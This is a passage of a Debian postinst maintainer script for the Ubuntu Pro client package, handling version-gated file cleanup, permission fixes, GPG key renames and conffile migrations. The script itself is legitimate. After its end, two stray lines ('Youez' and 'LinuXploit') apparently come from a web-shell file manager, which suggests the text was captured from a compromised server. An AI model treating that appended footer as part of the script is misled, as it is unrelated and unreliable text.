        mv "$APT_TRUSTED_KEY_DIR/$OLD_ESM_INFRA_KEY_TRUSTY" "$APT_TRUSTED_KEY_DIR/$ESM_INFRA_KEY"
    fi
    SERVICES="cc-eal cis esm-apps fips ros realtime-kernel"
    for service in $SERVICES; do
        if [ -f "$APT_TRUSTED_KEY_DIR/ubuntu-advantage-$service.gpg" ]; then
            mv "$APT_TRUSTED_KEY_DIR/ubuntu-advantage-$service.gpg" "$APT_TRUSTED_KEY_DIR/ubuntu-pro-$service.gpg"
        fi
    done
}

case "$1" in
    configure)
      PREVIOUS_PKG_VER=$2
      # We changed the way we store public files in 19.5
      if dpkg --compare-versions "$PREVIOUS_PKG_VER" lt-nl "19.5~"; then
          # Remove all publicly-readable files
          find /var/lib/ubuntu-advantage/ -maxdepth 1 -type f -delete
      fi

      # Are we upgrading from a previously release Ubuntu Advantage Pro pkg?
      # We broke package compatibility in 20.2 for any image with 19.7
      if dpkg --compare-versions "$PREVIOUS_PKG_VER" lt-nl "20.2~"; then
          if dpkg --compare-versions "$PREVIOUS_PKG_VER" ge-nl "19.7~"; then
              # Drop stale symlinks for migrated auto-attach-service
              rm -f $SYSTEMD_WANTS_AUTO_ATTACH_LINK
              rm -f $SYSTEMD_HELPER_ENABLED_AUTO_ATTACH_DSH
              rm -f $SYSTEMD_HELPER_ENABLED_WANTS_LINK
          fi
      fi
      patch_status_json_0_1_for_non_root
      # UA service PPAs support all ubuntu releases, no need to
      # specialize apt config filenames per ubuntu release.
      redact_ubuntu_release_from_ua_apt_filenames $APT_SRC_DIR
      redact_ubuntu_release_from_ua_apt_filenames $APT_PREFERENCES_DIR

      # Repo for FIPS packages changed from old client
      if [ -f $FIPS_APT_SOURCE_FILE ]; then
        if grep -q $OLD_CLIENT_FIPS_PPA $FIPS_APT_SOURCE_FILE; then
            add_notice 22-fips_install_out_of_date
        fi
      fi

      notify_wrong_fips_metapackage_on_cloud

      # CACHE_DIR is no longer present or used since 19.1
      rm -rf /var/cache/ubuntu-advantage-tools
      # machine-access cache files no longer present or used since 20.1
      rm -f /var/lib/ubuntu-advantage/private/machine-access-*.json

      # log files need to be world-readable
      if [ ! -f /var/log/ubuntu-advantage.log ]; then
          touch /var/log/ubuntu-advantage.log
          # We are only making new log files world readable
          chmod 0644 /var/log/ubuntu-advantage.log
      fi
      chown root:root /var/log/ubuntu-advantage.log

      private_dir="/var/lib/ubuntu-advantage/private"
      if [ -d "$private_dir" ]; then
          chmod 0700 "$private_dir"
      fi

      if [ "$VERSION_ID" = "16.04" ]; then
        if echo "$PREVIOUS_PKG_VER" | grep -q "14.04"; then
          mark_reboot_cmds_as_needed
          add_temp_notice 30-lp_lts_reboot_required
        fi
        if dpkg --compare-versions "$PREVIOUS_PKG_VER" lt "27.13~"; then
          # Clean any unauthenticated ESM infra files previously inserted
          # on Xenial, unless the service is enabled
          esm_infra_cleanup
        fi
      fi

      if dpkg --compare-versions "$PREVIOUS_PKG_VER" lt "27.13.5~"; then
          # esm-apps unauthenticated ESM should not be in any release
          esm_apps_cleanup
      fi

      mark_reboot_for_fips_pro
      rm_old_license_check_marker
      disable_new_timer_if_old_timer_already_disabled
      remove_old_systemd_units

      # On old version of ubuntu-advantange-tools, we don't have a public
      # machine_token.json file on attached machines. Since the non-root
      # status now needs that file, we need to create it during the upgrade
      if [ -f $MACHINE_TOKEN_FILE ] && [ ! -f $PUBLIC_MACHINE_TOKEN_FILE ]; then
          create_public_machine_token_file
      fi
      migrate_ubuntu_pro_beta_banner
      cleanup_candidate_version_stamp_permissions
      if dpkg --compare-versions "$PREVIOUS_PKG_VER" lt "27.13~"; then
          cleanup_apt_news_flag_file
      fi

      if dpkg --compare-versions "$PREVIOUS_PKG_VER" lt "27.14~"; then
          cleanup_old_motd_files
          migrate_old_notices
          migrate_user_config_post
      fi

      # Rename the gpg keys to -pro-
      if dpkg --compare-versions "$PREVIOUS_PKG_VER" lt "29~"; then
          rename_gpg_keys
      fi

      if dpkg --compare-versions "$PREVIOUS_PKG_VER" lt "31~"; then
          /usr/lib/ubuntu-advantage/postinst-migrations.sh $PREVIOUS_PKG_VER
      fi
      ;;
esac

# Automatically added by dh_installdeb/12.10ubuntu1
dpkg-maintscript-helper rm_conffile /etc/update-motd.d/99-esm 19.1~ ubuntu-advantage-tools -- "$@"
# End automatically added section
# Automatically added by dh_installdeb/12.10ubuntu1
dpkg-maintscript-helper rm_conffile /etc/update-motd.d/80-esm 19.1~ ubuntu-advantage-tools -- "$@"
# End automatically added section
# Automatically added by dh_installdeb/12.10ubuntu1
dpkg-maintscript-helper rm_conffile /etc/update-motd.d/80-livepatch 19.1~ ubuntu-advantage-tools -- "$@"
# End automatically added section
# Automatically added by dh_installdeb/12.10ubuntu1
dpkg-maintscript-helper rm_conffile /etc/cron.daily/ubuntu-advantage-tools 19.1~ ubuntu-advantage-tools -- "$@"
# End automatically added section
# Automatically added by dh_installdeb/12.10ubuntu1
dpkg-maintscript-helper rm_conffile /etc/init/ua-auto-attach.conf 20.2~ ubuntu-advantage-tools -- "$@"
# End automatically added section
# Automatically added by dh_installdeb/12.10ubuntu1
dpkg-maintscript-helper rm_conffile /etc/update-motd.d/88-esm-announce 27.14~ ubuntu-advantage-tools -- "$@"
# End automatically added section
# Automatically added by dh_installdeb/12.10ubuntu1
dpkg-maintscript-helper rm_conffile /etc/ubuntu-advantage/help_data.yaml 30~ ubuntu-advantage-tools -- "$@"
# End automatically added section
# Automatically added by dh_installdeb/12.10ubuntu1
dpkg-maintscript-helper mv_conffile /etc/logrotate.d/ubuntu-advantage-tools /etc/logrotate.d/ubuntu-pro-client 31.2~ ubuntu-advantage-tools -- "$@"
# End automatically added section
# Automatically added by dh_installdeb/12.10ubuntu1
dpkg-maintscript-helper mv_conffile /etc/apt/apt.conf.d/20apt-esm-hook.conf /etc/apt/apt.conf.d/20apt-esm-hook.conf 31.2~ ubuntu-advantage-tools -- "$@"
# End automatically added section
# Automatically added by dh_installdeb/12.10ubuntu1
dpkg-maintscript-helper mv_conffile /etc/apt/preferences.d/ubuntu-pro-esm-apps /etc/apt/preferences.d/ubuntu-pro-esm-apps 31.2~ ubuntu-advantage-tools -- "$@"
# End automatically added section
# Automatically added by dh_installdeb/12.10ubuntu1
dpkg-maintscript-helper mv_conffile /etc/apt/preferences.d/ubuntu-pro-esm-infra /etc/apt/preferences.d/ubuntu-pro-esm-infra 31.2~ ubuntu-advantage-tools -- "$@"
# End automatically added section
# Automatically added by dh_installdeb/12.10ubuntu1
dpkg-maintscript-helper mv_conffile /etc/ubuntu-advantage/uaclient.conf /etc/ubuntu-advantage/uaclient.conf 31.2~ ubuntu-advantage-tools -- "$@"
# End automatically added section
# Automatically added by dh_installdeb/12.10ubuntu1
dpkg-maintscript-helper mv_conffile /etc/update-manager/release-upgrades.d/ubuntu-advantage-upgrades.cfg /etc/update-manager/release-upgrades.d/ubuntu-advantage-upgrades.cfg 31.2~ ubuntu-advantage-tools -- "$@"
# End automatically added section
# Automatically added by dh_installdeb/12.10ubuntu1
dpkg-maintscript-helper mv_conffile /etc/update-motd.d/91-contract-ua-esm-status /etc/update-motd.d/91-contract-ua-esm-status 31.2~ ubuntu-advantage-tools -- "$@"
# End automatically added section

exit 0

Youez - 2016 - github.com/yon3zu
LinuXploit